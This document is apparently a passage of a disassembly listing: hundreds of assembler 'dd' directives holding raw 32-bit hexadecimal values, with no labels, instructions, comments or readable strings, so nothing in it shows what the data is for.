		dd 8605CB71h, 0CF02C69Ah, 9F804008h, 42F11EF3h,	0D52A7F14h
		dd 9481F44Ah, 1B480AAh,	0D2E8B98Eh, 4BCB0528h, 0C2581976h
		dd 602E990Ch, 845ACB0h,	22750026h, 296A929h, 1C00B271h
		dd 0DFB690F2h, 9AA4157h, 8BAC921Bh, 0C2B7A404h,	0C4D2550Ch
		dd 8A682E58h, 0AA5094F3h, 1F24E68Bh, 8EE34E2Eh,	0DEC60A54h
		dd 9B7021D8h, 7FFF0F02h, 4069F6C8h, 0B97F31Bh, 0D7EA9254h
		dd 478F6C84h, 64EB42B5h, 3833F9C0h, 0BF048C97h,	0D45D8B2Eh
		dd 94202764h, 5F046B58h, 4384A5E4h, 799CD0F4h, 0C1F60755h
		dd 81BAA94Ch, 70255F98h, 0A41251B5h, 7030DA1Dh,	0FBD244Ch
		dd 0AE8A964Fh, 0AA4ECA60h, 5100CBF9h, 0DC58B530h, 2B82F2h
		dd 0E8FFEFC6h, 484F1A7Ch, 770B04F4h, 734D7Dh, 8344BCA0h
		dd 3DC9C66h, 0EE10809Ah, 70CC6C8h, 77365304h, 5CA4299Dh
		dd 34F4001Ch, 2E013563h, 19C38443h, 0E06AADB5h,	2F2E708h
		dd 2F0C984Eh, 0D088DECAh, 88A5648Ch, 0B0008FD4h, 0FE4F5666h
		dd 7E8B6A90h, 2E0477F4h, 64446C0Fh, 1F5708E6h, 0A8583A22h
		dd 205A8A12h, 9ACA2804h, 219E6109h, 2098739Fh, 0CA9B4EE4h
		dd 0E2280068h, 93C8EFC1h, 2822702Fh, 12E49CA8h,	204CDF77h
		dd 0F4953424h, 28B18500h, 7CFD244Dh, 0BED2723Ah, 380F9450h
		dd 74189789h, 0D60FF951h, 80A713D3h, 2EB568A4h,	76D40002h
		dd 0C60E67FDh, 1A0B911Ch, 80C3C1D5h, 63CCC240h,	0A118C0E4h
		dd 0C4273B3Fh, 0D3006B76h, 891F450Eh, 4048D25h,	0B9AA2CE2h
		dd 937CA80Ah, 0BC433C00h, 9112E9h, 0DC9C761Bh, 0D8A4AD79h
		dd 7EC8C88h, 0C1181096h, 53234075h, 0ED07D53Bh,	0EA42A2Eh
		dd 0C64E6340h, 59A9611Ah, 0CE743E7Bh, 8050C040h, 0C87E88h
		dd 7261E51Ch, 862F33CCh, 11743D00h, 0E7018037h,	0D26200C3h
		dd 387F88C1h, 243983D4h, 3CCA873Eh, 68290A42h, 0F61D00h
		dd 0CA9E7FCh, 907086A8h, 9128DF01h, 0A3CB79FEh,	5D007C72h
		dd 3F4B35E5h, 0A9E4FF21h, 81C9923Ch, 0D826B774h, 0E444E15Ch
		dd 0E98080ECh, 3D066C22h, 51070500h, 4EAE4AA0h,	0E3240263h
		dd 0E865E50Dh, 109E7449h, 6725941Bh, 0E4834BEh,	83F41880h
		dd 810E0DCBh, 0EC337FE8h, 48A51901h, 0A2926C03h, 6AA30000h
		dd 0DE48D675h, 0FF02704h, 1C2EF044h, 0DA4948F8h, 0F8075834h
		dd 80268862h, 0BC542120h, 0FE72746Ah, 0FB4B02C5h, 0EFE6CB87h
		dd 2738F080h, 3B4CAD7Ah, 950020Ch, 0F134B07Dh, 308500FCh
		dd 97EE1FABh, 74442C16h, 0C0E8C014h, 788F0C8Ch,	62F0066h
		dd 3213D094h, 0FA00CEDEh, 0F6675D76h, 335FA9h, 15D9AFE6h
		dd 4168F33Eh, 72053773h, 0A5BC1977h, 9980D027h,	2DA046F6h
		dd 0AC07ED5Fh, 8236F170h, 84C50E7h, 2F016AF5h, 0FF3BF7B2h
		dd 0DC29A774h, 8EE45800h, 3EEDC7Eh, 50B5FD02h, 56282C33h
		dd 8F420C20h, 50089C1h,	30D9971Fh, 0C64C9Ch, 826F156Bh
		dd 46282FE3h, 177AAF12h, 0C06038B2h, 0E07305AAh, 64DECB27h
		dd 23990030h, 0AC502E6h
		dd 0B31C17ECh, 6540788Bh, 0A45C3122h, 22C14E2Ah, 0C52BCFCh
		dd 506F2D26h, 0BCC408B4h, 0F848CCB2h, 0B005AF22h, 2A9DEC3Ch
		dd 0F0483CB2h, 0F64884Fh, 0B700E977h, 7F9FC85h,	34F789h
		dd 173F518Eh, 8A4DA44Eh, 2D54B095h, 2778973Dh, 1E59C400h
		dd 0BDCD3025h, 88D84A2Eh, 20002388h, 83D517C3h,	0CFDF52h
		dd 2E44A1CEh, 18ADD31Ch, 854CD611h, 2206FB00h, 6164591Ah
		dd 0EE324F0Eh, 13B938A7h, 2DF807B5h, 7008245Eh,	57CAADEDh
		dd 523CD104h, 80ACA24Bh, 5311C048h, 0B38900EAh,	7635009h
		dd 26E894EDh, 0C794007Dh, 0A9DCAF86h, 2F76231Eh, 840ECCD2h
		dd 2674A175h, 0DC741BABh, 545A0F21h, 388F39DCh,	42D4A092h
		dd 0D5B5EA13h, 0FD0074B2h, 4731396Ch, 9400495Ah, 84707D16h
		dd 676E60Dh, 0F0412DEBh, 8D1D483Fh, 0A4A4487Eh,	0F9468A09h
		dd 0C82F1014h, 1E8C415Dh, 0AC62F290h, 6C40C07Ch, 0E6C13FB5h
		dd 989F0048h, 237C0787h, 0AB2C0DD7h, 8BE1849Bh,	34419F57h
		dd 30158628h, 187CFB54h, 6DE92C09h, 806CD9C1h, 12637B4Fh
		dd 24005C26h, 0B68A1506h, 31CBF8ACh, 0BCD040B4h, 90A084D8h
		dd 0C5AB13D6h, 24400AABh, 18770048h, 2FF9EDBFh,	7E0560DEh
		dd 88249411h, 0A078C0BCh, 74C37DC4h, 8F81C0FFh,	5E4A35C8h
		dd 6C408C01h, 4E13C7D2h, 0D008E0h, 206B82ACh, 9ACBD736h
		dd 0A0B34025h, 0DCDACDE0h, 0C02B002Ch, 9BE2FFEh, 0C80BFBA8h
		dd 68A6D1EEh, 2ADC8Ch, 4CE97684h, 246B1B58h, 189E2890h
		dd 0F812FD40h, 84CF60D9h, 2CB7197Dh, 812AB500h,	1C1D9E76h
		dd 40424BB3h, 0F87A0434h, 0A60038C1h, 88ADE362h, 0D0A12Fh
		dd 6BF4346Dh, 24F24F54h, 8220090Bh, 0CDC70194h,	0BDD8817Bh
		dd 455400B3h, 0DE5B8B68h, 4598C22Bh, 8138366Fh,	0B63D7D5Eh
		dd 0A42E7600h, 0B8441F4Ah, 48F998FFh, 2BAE7C00h, 44187212h
		dd 5C54732Ch, 84760104h, 145464ACh, 82D98B1Ch, 44ECF487h
		dd 70B6602Ch, 78941A00h, 28735881h, 0C8C2345h, 95C50827h
		dd 5D003A18h, 0B0D0A428h, 0B09A060Fh, 597A0014h, 5808AD70h
		dd 0C09051CBh, 31717500h, 0CA807F25h, 0A9A70094h, 635DDE6Ch
		dd 0A2989E1Eh, 40E11030h, 8071CF8Fh, 53403BA0h,	4826301Ah
		dd 1866619h, 0E280420Ch, 441EA862h, 73201B35h, 0D77C0618h
		dd 303E8B6Dh, 9D424F00h, 0C3648524h, 0AF453252h, 1802B4E8h
		dd 13501096h, 87517C84h, 0B4088A10h, 0D9847146h, 0C21CEF9Eh
		dd 81FFC021h, 0BEB7263Ch, 0A5431FF4h, 8A60E8C0h, 0DC95F500h
		dd 4A9D9B80h, 0B7080272h, 0EC50D828h, 32D734E0h, 0A81EA20Eh
		dd 740192E7h, 774388Dh,	27DB21D4h, 5C019FAFh, 0E59C2E06h
		dd 48A08079h, 0D1E90959h, 3658128Ch, 6404020Fh,	630079DDh
		dd 0A74EE495h, 143A8820h, 489AA7C2h, 0AB3D1Ch, 0CC199C09h
		dd 0D90DCA43h, 0F212C900h, 2EFB10BEh, 4C62693h,	544C6348h
		dd 109E88F8h, 6CEDC04h,	0D8E8E1D3h, 40A9027Ch, 1A42419h
		dd 0EC2D547Ah, 48D810B6h, 0F5E3007Ch, 66348FE4h, 49007F92h
		dd 6FC30C91h, 1AE8A7Bh,	0FB05D547h, 2E5F6D0Fh, 0AD979000h
		dd 7C3CC339h, 941023Ah,	0A3802F04h, 300A044h, 7EA71335h
		dd 1D634844h, 805564CBh, 58571A3Bh, 0FD008D0Ah,	754E941Ch
		dd 0D67B52h, 0F64AE34h,	0D1F6F86Bh, 8F7806F2h, 560A4305h
		dd 1C80D38Dh, 107244Ch,	0AB2A2FECh, 0FDEE9447h,	0F475ED77h
		dd 84A3D5F9h, 4BCA29D0h, 21844601h, 0A9BC5293h,	0E5016473h
		dd 25F6C094h, 1911D4C6h, 9401DC5Eh, 0D6D2A456h,	9CA56094h
		dd 0EE02C687h, 85CE3F90h, 6B42AFF0h, 5833A440h,	1A130Eh
		dd 5543454Ah, 957D6483h, 0FE3F8F01h, 33DF17A8h,	6085DC7Ch
		dd 5C128019h, 0F009A2CFh, 7038A798h, 91BB000Ch,	0DDC81C07h
		dd 0F200AA7Fh, 0FEBFAF25h, 18D01Dh, 19E620BBh, 0D7A1231Eh
		dd 0D3D96B00h, 0ACDC7565h, 1DF83E34h, 8881BF3Bh, 7EBC3167h
		dd 2440A2CEh, 0A862BE00h, 7C60042Bh, 19B839DBh,	1A7DBD01h
		dd 80A08884h, 466AAC29h, 0C1B01BD6h, 665FA110h,	1E60BC02h
		dd 0F2C0C2FFh, 854746DBh, 516B007Ch, 30B41901h,	0C8245468h
		dd 2E030C0Eh, 0A03BA1D1h, 0CA4B52Fh, 11665B89h,	0B000DD49h
		dd 0A5F2B4D4h, 0F7CC1C7h, 0BD1AC3AAh, 0C8A2C33Fh, 76F3DC58h
		dd 0D04C2CA0h, 0B830E603h, 0F88C64E4h, 0CF8ABD86h, 598069F0h
		dd 0FFD62089h, 75EB3203h, 9625C0h, 3E3BBBD1h, 307B383Ch
		dd 5A0E4476h, 0E7FF4E01h, 23D0D977h, 61220C74h,	1B2F187h
		dd 0A803141Fh, 1EB729h,	0FA753810h, 0BE3627D1h,	266BF20Fh
		dd 86A0AE24h, 0E41B649h, 53AE897Bh, 0DBA7880h, 2630906Fh
		dd 0A48591A9h, 0D2860064h, 0E6E4B741h, 3C03C928h, 596D235Ch
		dd 0FE5AF80Eh, 0C4FA00BEh, 0CEA88DEEh, 0FC06925Fh, 0EC7B2A53h
		dd 58048511h, 0C161B18Dh, 624F1410h, 1DE5EDF8h,	87E4701Ch
		dd 0E047F4B6h, 63238D58h, 13974606h, 44296050h,	0D50172F0h
		dd 3FCA82EEh, 0D2ECAF0Dh, 0C98103EFh, 77B50321h, 52052100h
		dd 858EDAE1h, 0CFA700AAh, 84DC45C4h, 0A300089Bh, 9289CBB4h
		dd 1D41D65Eh, 80A536EFh, 0E9D8A7E7h, 740058BBh,	950757DDh
		dd 311994h, 4927082Ah, 1E6E9F3Eh, 66BD8F00h, 0F0725BE9h
		dd 9D230050h, 411D142Ah, 8700EC3Fh, 0F3B40113h,	705CBBh
		dd 2E4B8F47h, 1B21C8DDh, 6CB1AB00h, 5899995h, 0E3EE001Dh
		dd 2C63D115h, 4F03480Fh, 0D46CAC9Ch, 9310002Bh,	8ADAA055h
		dd 5C01E13Fh, 75AE71E8h, 0A9404032h, 0F938A85Dh, 0F2C9B840h
		dd 3913EAA6h, 12817A4Ch, 689E5411h, 7E01C40Eh, 890E1876h
		dd 9C35B9A8h, 7B9C9580h, 4A1F2h, 0F18F029Dh, 6CE42463h
		dd 480E1300h, 8318D52Bh, 39D01BFh, 0D34ADEDBh, 0F568C486h
		dd 0CFE2DA1Eh, 70C1151Fh, 0CCC563EBh, 0E5BCD8h,	8D9E8FE3h
		dd 0E8F565AEh, 762751Eh, 32D6B140h, 30A7B87h, 0B5E3514Fh
		dd 0F99011D0h, 6EEF262h, 2F4CE800h, 0FD1A17C4h,	6D1F0077h
		dd 93B25CD8h, 452453A5h, 7F043090h, 67807AE9h, 0B3312Bh
		dd 0FD7BD67Dh, 0B9372DBDh, 0F1218361h, 82F8456Eh, 0AA360F99h
		dd 0C88030BBh, 70DDAF18h, 7E77E001h, 43324A07h,	78890C20h
		dd 67D300B1h, 8299D04Fh, 39002751h, 8746301Ah, 76E947FAh
		dd 31BC00D2h, 40A5C9E1h, 0C3008298h, 2B9F977Eh,	0B8B74B26h
		dd 897D1CE0h, 3FBD81E7h, 80E5E629h, 0DB09DFC1h,	0E4B1E5Eh
		dd 76DC1391h, 4D1D5D40h, 0E2621997h, 0C38E5121h, 0E079C348h
		dd 901BCAh, 0FF868DAh, 57401785h, 0EA261E0Ch, 2129C152h
		dd 0C66020D2h, 7EEA77h,	9A1737F2h, 0ED3A29C5h, 50C7F5F8h
		dd 9880Ch, 0EE7EC831h, 87701258h, 0C0BC1EC7h, 0FA65C689h
		dd 35003AEDh, 47DCBDD7h, 1C84D9A6h, 876423FDh, 9385F1DBh
		dd 0DFA0DDE5h, 98CC2Ch,	1EF90E00h, 4440FE09h, 258000ACh
		dd 68E12758h, 0DB1F05F1h, 9D5639C7h, 80B1580Eh,	5D4AED01h
		dd 672058E1h, 57AA6500h, 0DFE5909Eh, 0D4836400h, 4CD0AD6Eh
		dd 24B8A6h, 0D766B317h,	67BCA280h, 0FA60D400h, 0DA82E28Ah
		dd 65810735h, 0A01B1DDFh, 432961A2h, 16C09500h,	5BB9548Fh
		dd 0CD3F312Bh, 0E0DB02B0h, 0F800A9EBh, 9E05841Fh, 7246DFC7h
		dd 0F1413B1Ah, 55219902h, 46089DDh, 0D0FF6C0Fh,	5C605669h
		dd 9C1DA920h, 0DB2D0330h, 5BB4EA13h, 0FB47D001h, 57C89858h
		dd 0F4E0C094h, 4C17017Dh, 3E61F96h, 72A13E39h, 61418700h
		dd 4530001Bh, 85E52319h
		dd 0A9C0201Fh, 16F16FE1h, 89A4F9ADh, 0BBEF000Eh, 0AFA02CC9h
		dd 500F8F0h, 0D430B35Fh, 0F76FF5h, 251EEC2Dh, 0DC5A87B9h
		dd 0AF26817h, 1B8AB107h, 0BA14FF90h, 0B380290h,	8FB153ACh
		dd 30912061h, 68C08E01h, 322B9BA1h, 1533001Eh, 7F89D53Ah
		dd 42765011h, 7500B4F4h, 39223493h, 0D740AAh, 8E3BCF8h
		dd 0A40F1E0Ah, 5AFAB600h, 20CDC5D3h, 0FE8439B1h, 0AE4C2380h
		dd 34FC6C24h, 5EC3BA13h, 161B7000h, 148B796h, 21FF6EEEh
		dd 20B6A717h, 0C5307C71h, 959D2127h, 2AB1005Bh,	16C0824h
		dd 830041D9h, 79762228h, 0EBDC02h, 0BF4B25C1h, 0B786E585h
		dd 0F68F905h, 890DE1Fh,	4166EFh, 0C344A514h, 43D99861h
		dd 0DEB9D100h, 422973D4h, 0DA6C008Ch, 665A1AAh,	5700D298h
		dd 87EB1093h, 8A345Dh, 0C295048Fh, 0B64DA481h, 0C5173600h
		dd 871ECC13h, 81A489Dh,	9BB05003h, 0D180F40Ch, 134817CEh
		dd 0FF8E010Ch, 958BDBE0h, 1E07EC32h, 208A5796h,	18803DAh
		dd 0DB7DC3FAh, 39322E30h, 73F0B98Dh, 0C4B268h, 203D2BABh
		dd 1B9D5148h, 67F17700h, 3672E279h, 0E7873FBFh,	9270E000h
		dd 66E65C2Bh, 5025D800h, 0C735519h, 0A29E0020h,	0E2312394h
		dd 7900E054h, 1ACF6A01h, 163F7A1h, 6CFFB326h, 0D488C7F6h
		dd 0C600EF4Ch, 697AE3CDh, 73D531h, 0E8ED1CA4h, 82F8F60Dh
		dd 81635C00h, 0E097283Eh, 0CAD00A0h, 22FE2490h,	0DF178E65h
		dd 284EE143h, 74CD80A3h, 34BD1h, 3E2D98A9h, 1DC3227Ch
		dd 0AFA0E3Fh, 0AE27B6E4h, 6AC41F00h, 2A48E2h, 0F606153Bh
		dd 0B1B2E870h, 0F92C3203h, 0EA3D443Ah, 0EC50E82Bh, 9E352E4Dh
		dd 482F805Ch, 502DA222h, 0D136B6E8h, 7C111845h,	4C9514A7h
		dd 13001817h, 46D8C19Dh, 0D53A6A40h, 57D01B6h, 0CD211A99h
		dd 0F5506880h, 1045FF27h, 0A860A6EFh, 0D372EF06h, 1A4D2830h
		dd 6B7C0028h, 54F17A11h, 2702772Bh, 0DBADC6AFh,	0EB88A073h
		dd 740DDE4h, 4F63268Fh,	0BE8AC002h, 24A94C07h, 0A022C897h
		dd 0C1201301h, 0D5069136h, 7626F6F0h, 0B84DE62Eh, 2F9303C0h
		dd 0F7DE3ECEh, 479C8B0h, 109FDA1Ch, 0CBBDE9C0h,	0C79ABFh
		dd 554DF3E0h, 95127F18h, 3BD1E809h, 2B8D009Bh, 0ED8E58h
		dd 0A3C9A58Ch, 968D76EFh, 0C00549Ah, 0D3FAD267h, 0FB1E50C2h
		dd 91F11980h, 0C728B7D1h, 0EB94DC03h, 73B0DA3Fh, 146E00C1h
		dd 1EE368Bh, 13010DB6h,	0DE97D053h, 188E6C4Dh, 0FDFDAB9h
		dd 0BB85589Eh, 4A3F8144h, 9C2BE09Ah, 8D1C80FCh,	88E4417Ch
		dd 8511D280h, 1AC0EB5h,	0D9D3FDE5h, 0E0F21E2Eh,	0DA30866Bh
		dd 0C1D428A5h, 182F60F6h, 0AA05D66Dh, 0CF8399C0h, 6E290ABBh
		dd 6F80684Dh, 0EDC276D7h, 2B0C2EFAh, 0A07831DFh, 92400643h
		dd 817C4175h, 0A311190Ch, 8305813h, 35D44A65h, 336AC103h
		dd 41F7E0F3h, 0DD0D0375h, 0F2E240C0h, 404C69C1h, 6B82D494h
		dd 0A7350F04h, 90D60B6Fh, 4EA12190h, 0C5E6F604h, 8F802720h
		dd 24174D80h, 8C5C7B1Eh, 7EE8C5B5h, 0A1C42046h,	475384Eh
		dd 6EDAB821h, 2D24804Ch, 0F9C1BC6Fh, 4A67D2B9h,	0EC081887h
		dd 5993B670h, 8206B200h, 21102DA0h, 7415765Ah, 21BD6022h
		dd 0E9823E6Ch, 0F0230600h, 0B9F3A3BBh, 80475052h, 3B920AB5h
		dd 80A85BE5h, 74217D7Fh, 400C56D5h, 85EDEC2h, 9E21CE65h
		dd 237A04B0h, 73C07BF5h, 617141F3h, 39D650B1h, 2D80500Bh
		dd 0B4635940h, 64776718h, 673D7040h, 0D56E21C0h, 6B448C06h
		dd 217E0A98h, 40A436E9h, 0DE8BA61Bh, 63C62C1Eh,	0FDC90C80h
		dd 286EEFBFh, 949877DCh, 164D809Ch, 532C039Ah, 55207490h
		dd 5E640651h, 29C2947Fh, 0D3BF2E07h, 0BE92440Ch, 0B14541E0h
		dd 82436D1h, 0D3A70F07h, 0F50091C3h, 0C902BBCAh, 97E47B50h
		dd 53D5FE14h, 160232Ch,	4401D3A4h, 883018AAh, 0D30FAC0Ch
		dd 0A0B0A727h, 0BDD2C439h, 12748055h, 2140CD05h, 0A8032DAFh
		dd 90338EF1h, 3F582299h, 0FF8FF8C0h, 0BB8F3AEBh, 2507AC20h
		dd 300084DEh, 2CEF9E4Eh, 0E08CA6Ch, 0A13C8D54h,	93BAB80h
		dd 3706865Dh, 984E61A4h, 0D8048530h, 816031C9h,	0F947A610h
		dd 0A34812ACh, 916700A9h, 6469A1A5h, 81C9873Eh,	0A6DBBD35h
		dd 2990E64Eh, 66CB8455h, 81418048h, 4102ADE0h, 89629D10h
		dd 44A20874h, 2284EDE9h, 684261EFh, 99C4383Dh, 44AE7F44h
		dd 22845C60h, 8542748Ah, 107D2E11h, 0B2003230h,	6A4DA80Bh
		dd 0EA058E59h, 4EA908B0h, 0E88FC1EEh, 252183B6h, 0E8A55188h
		dd 43345Bh, 0F7EF71AFh,	463A4544h, 0D3749400h, 934C7FB0h
		dd 12672FBh, 870FAE86h,	0CC9E0152h, 1DFA1FD0h, 0ADA7AB0Fh
		dd 87561EBh, 0CC802E0Ah, 2AE05C72h, 0B0394440h,	809F8F7Ah
		dd 0ACC88029h, 0DDF17Dh, 1AC3C94Ah, 0ED41E020h,	5E35CA00h
		dd 658BEE76h, 49A71F32h, 9D684A3h, 574480F3h, 3D005BE7h
		dd 68BCE52Ch, 6916ECh, 90EAD678h, 86B9984Dh, 18728700h
		dd 0EE2F4B6Fh, 0CE2200B6h, 0EC7FF239h, 979401Ch, 0D3A8060Ch
		dd 0FCDEF87Bh, 39E300F6h, 0B780A094h, 0D1FAF145h, 0AAC78407h
		dd 0A4E76ACCh, 892FF500h, 4AAD0022h, 0D044B77Bh, 70001A24h
		dd 67FB8596h, 9F54B9h, 80B55A4Ch, 62A8AFFAh, 30935900h
		dd 0EBD33FA4h, 64BF0EBAh, 21870911h, 636F8015h,	60921FE7h
		dd 0C1C38E1Eh, 6288E200h, 56A633h, 0CCE0450Bh, 5FDEEDD5h
		dd 70B4FD00h, 0C97101E4h, 0B6D1008Fh, 9DE9552Dh, 0AB00F097h
		dd 0CA13CFDAh, 0FA231D14h, 0DFE3037Eh, 0E710FE65h, 0E1192C88h
		dd 9CBDB324h, 965EFB07h, 0C89B006Bh, 2D151Dh, 8AE920DFh
		dd 10F6845Fh, 1E3F4603h, 0AA8D020Fh, 9DECA042h,	0F7DFF8h
		dd 349A9B4Eh, 0AEC0F87h, 0B2A53C00h, 0DDBFC941h, 4F1907A1h
		dd 0E0C32AFBh, 0F3AFF21h, 78D4D619h, 14D00358h,	0A59F0005h
		dd 0F5C729ADh, 57003864h, 0B76095E9h, 4FA6E5Ch,	0E25BE84Bh
		dd 0A72D80AFh, 0DF009479h, 0CA1BF0Bh, 0CEC5EDh,	541AE0C8h
		dd 821EE431h, 8392CB00h, 0C732D561h, 0E301003Bh, 9C5629CFh
		dd 7500BF55h, 0E42FC357h, 0F7A6C0AAh, 7990E0h, 0A39E708Dh
		dd 2762D849h, 0D0417128h, 7CA6AF00h, 0A47E86A0h, 0A8BE1E48h
		dd 60FBC061h, 0A7BC7696h, 26C120C0h, 0C58F232h,	1C2482F4h
		dd 667AFBD8h, 10D99C00h, 69BB652Ch, 0DD8A0F5Bh,	0B24096C9h
		dd 0F729FF7Ah, 0E32A3300h, 54568FBAh, 3F400048h, 0BF94E783h
		dd 6B000A3Dh, 9E479669h, 2474B8A5h, 80107CB7h, 30A904F6h
		dd 6A01BB9Ch, 2D968F1Bh, 65D03A84h, 97893870h, 27FF448Fh
		dd 81381B07h, 0E4E57DE3h, 7513C9DAh, 0A8401FF9h, 2BE17A69h
		dd 273C00F4h, 439F20FCh, 0C800EABDh, 0F0BA408Dh, 0F02E0D7Eh
		dd 8759134Fh, 420058A2h, 0B330DB23h, 27EF2075h,	899B0D43h
		dd 0D4A8DA36h, 0F51C6D23h, 30C03D45h, 0C8CFB792h, 46A400E9h
		dd 0B9BF2DC2h, 9501BC7Ah, 0D85DF62Fh, 199C45B1h, 16D900D6h
		dd 0CE810712h, 0C7DF5B2Ch, 3DD88A00h, 182FD0ADh, 0C835A70Dh
		dd 300372Eh, 0D50EFA82h, 1C362D30h, 6F98504h, 212B32D3h
		dd 0DAA3500h, 0CB27B2E2h, 54600023h, 2D88E812h,	6D0034C9h
		dd 0C32B6E49h, 0B15EABh, 103A8725h, 56B7945Fh, 6514DDEEh
		dd 9C21A0h, 0BF71303Fh,	68BD61h, 366D20EAh, 0B35355C3h
		dd 5B00A877h, 2740AC97h, 5C9E788Ch, 222ACACDh, 91A4A0F8h
		dd 621F0085h, 0B0737B56h, 6300C4C5h, 96571D06h,	4CC7AC7Fh
		dd 5F07C926h, 6AA62749h
		dd 1BDB00B8h, 1EBDEFAFh, 6F163F00h, 0CDD731CAh,	13C300EDh
		dd 530AF258h, 931ED92Ch, 0C2C77761h, 5470FC41h,	0B2F9F6C5h
		dd 518D04ACh, 8076D08Eh, 0C9FC1FC0h, 9BDB1100h,	0BBEA493h
		dd 0EFE51C87h, 0EC2E975Bh, 23D1007Ch, 0AA417238h, 0E8437966h
		dd 0E48A0379h, 0F71742E8h, 27EEA3A0h, 0AC73C000h, 0DEB8344Ch
		dd 7D701B6h, 89939665h,	0A4D0F003h, 0A8A6BD13h,	4FAFA004h
		dd 91D194D0h, 94765097h, 0C3300053h, 0CCE2E0Bh,	281F884Fh
		dd 5C0F1CCh, 8EC4B33Dh,	0ECC60726h, 81C935AEh, 80694225h
		dd 1BBFFB80h, 115F558h,	0AABD71A7h, 0C02FAC63h,	0F3773674h
		dd 8F3BAD02h, 0E364C234h, 2417D87Fh, 3D4A005Ch,	53610CE1h
		dd 6C0023FFh, 9F2D0115h, 0BDC2D3h, 9034D156h, 4EF0B9A1h
		dd 0C0E26200h, 0E606CFB2h, 6E2E058Ch, 808BDDh, 4E053FB4h
		dd 0D700381Eh, 0B77F7B60h, 3F9146F4h, 0E4486DA3h, 44534300h
		dd 2640ABAEh, 4F2ED365h, 92C68802h, 31202E9Ch, 20F8DB70h
		dd 0A1002D74h, 957CC674h, 4FE49Bh, 9FAFB491h, 367DB6F7h
		dd 81C8E248h, 0C80BC46Ch, 0EE62E3ECh, 0B8F00085h, 7E455170h
		dd 1BECA5A7h, 0C166311Eh, 623C701h, 3080C630h, 0CA44218Bh
		dd 2F907B01h, 7CA0EA0Fh, 0E0940CE8h, 15450087h,	80BEFA60h
		dd 0DD606F9Ah, 0E5582278h, 28941C4Dh, 52A405h, 0A143E9E7h
		dd 0B603BEC4h, 27138C08h, 4BA0CFDFh, 924976h, 0EC75F5D9h
		dd 24BC88EEh, 0DE363213h, 46043C00h, 0B80FC9EDh, 24E6E46Ah
		dd 1C07DB7h, 0F2E5D86Ch, 7EA340C6h, 0E074138Ah,	95A2A000h
		dd 5683A936h, 64710C81h, 0DEB88286h, 0B1442F00h, 0D6E2B57Fh
		dd 0F18CA09Ch, 507301BDh, 846F6245h, 0F1D4E5F0h, 0F1BFE1C8h
		dd 83BF3088h, 0A978CA00h, 61A09346h, 4AA30B27h,	0AC8E8F48h
		dd 90007A6Fh, 1CA1347Eh, 0D803F63Dh, 0CB1102D1h, 41E3816Bh
		dd 95FC6014h, 5F010548h, 1C7DAD6h, 0D01C119Ch, 3153214Bh
		dd 0E760EEF0h, 0B6F69872h, 0C9F3AF00h, 0B5397B1Dh, 0A37C0353h
		dd 66DC8D50h, 0A9AE5CA8h, 0A0001472h, 1B17C7B3h, 30B94B5Dh
		dd 99409721h, 98243526h, 9E3E3C03h, 800DB5Fh, 47071FE4h
		dd 0E2380024h, 56A1B82Eh, 3C268437h, 0E79F2CFBh, 3AF80380h
		dd 9B3C8DAh, 0BEF015C9h, 288E2400h, 32F8AA6Eh, 0E476B600h
		dd 8AB8038Fh, 9C7DA5h, 8DE5CBF6h, 79DC757h, 837DC404h
		dd 0FC873172h, 0CF209B80h, 6C224885h, 3D595102h, 1EE0D484h
		dd 0E48AAB2h, 0B784C9Ch, 20ECC852h, 29028564h, 0B8A86161h
		dd 0E9BBE0ACh, 0D75C20C7h, 93685501h, 0A9981C86h, 891FC072h
		dd 291441C8h, 55D7738Fh, 0DB110BFCh, 58B79880h,	2900B34Eh
		dd 728CBAD6h, 228F8C0h,	54E48F93h, 20408366h, 6300CFFEh
		dd 1D51E50h, 8C3C76h, 13DD1124h, 8F0265F0h, 91102303h
		dd 0C0282677h, 168FF9Fh, 2A22CADBh, 87658918h, 386C15Eh
		dd 380C99Fh, 0C5DBAF20h, 5D605844h, 0A1E6700h, 49032047h
		dd 0C32BA6Bh, 2884D019h, 0E7371F5Ah, 0DCCE85A2h, 0B880157h
		dd 604A2DF0h, 9500CFECh, 0C2DFA11Bh, 0C85C83h, 0C50B08F9h
		dd 0DDE44235h, 65DA030Eh, 0A04EEE50h, 2E74DB9h,	80A10F94h
		dd 462093C0h, 8D6847D2h, 0BAAC1C00h, 0CC890BFDh, 2BD000D1h
		dd 0D4226614h, 9D7511D6h, 0A3010F0Eh, 0A9D2408Fh, 3EF4CAF9h
		dd 9E801D75h, 413182C7h, 0AB00CEE3h, 8F0B4306h,	904DDFh
		dd 45FFDDA3h, 6CD88975h, 0D19D180Fh, 8081AF3Ah,	0EBBD415Ch
		dd 0DDB30042h, 0BA79BEA8h, 6400D780h, 0EA1581E1h, 3005106Bh
		dd 0B0196826h, 7717ECEEh, 0B400A61Bh, 0FECB19D9h, 3FB8010Ch
		dd 168164CFh, 2CB5D4C4h, 0AF6A1A00h, 0EC26BA5Eh, 395B1F61h
		dd 0E64B4062h, 6D648B4Ah, 12E18A58h, 440083FDh,	58EB7E01h
		dd 0ED3100B6h, 0BAE851B5h, 1400B4C8h, 30705D02h, 981B99h
		dd 87D279F4h, 40694ED8h, 0A8058179h, 0BC12D9A1h, 4C0A5C80h
		dd 3CA4774Bh, 0DA960C80h, 72A00BB1h, 62E49800h,	3C3E0967h
		dd 6B0C5DA5h, 320C0021h, 0B8AB2ABh, 0C95D2814h,	0E4179E00h
		dd 0AD003472h, 5E12FAB9h, 0BD458Ch, 993DA11h, 7E1D3FEBh
		dd 19004B79h, 4451AAF6h, 988D61BDh, 967850h, 0FCD0EDBCh
		dd 0C5ACC99Bh, 24948F01h, 28C329F9h, 12C8D4C0h,	0E2885Dh
		dd 0A0638C26h, 0F80FDE70h, 0C034C1CCh, 8EC71520h, 0C26600CFh
		dd 7EE714C8h, 92F06AC6h, 0E90271E0h, 4259443Dh,	0B8BBE06Dh
		dd 0A57B07C2h, 0E3650E3Eh, 0A3B86BE8h, 0B5C4EA0h, 12743F6Dh
		dd 7000A633h, 0B3558E76h, 0D2050032h, 0B30F9FCh, 0C100BB16h
		dd 42F1C5CEh, 1F467839h, 0EBF93B4h, 7A0083F6h, 0F5E7637Ch
		dd 32B1D05h, 0B8C0D94Dh, 280D99h, 0F8E4A6Ah, 0D67FD291h
		dd 0EDE5FF12h, 0B357CB00h, 9FB679h, 66C6BAFAh, 0F94E04Ah
		dd 3C0B8B2Ch, 0E658BE80h, 0DC7FCBh, 1A7DD60Ch, 0D5F6C142h
		dd 0A9139CF0h, 804B7EE1h, 93DC11E7h, 0F36D670h,	5C38918Ah
		dd 79BD7580h, 0E0003F47h, 0C1F1B598h, 1290B50h,	0D41A6CF0h
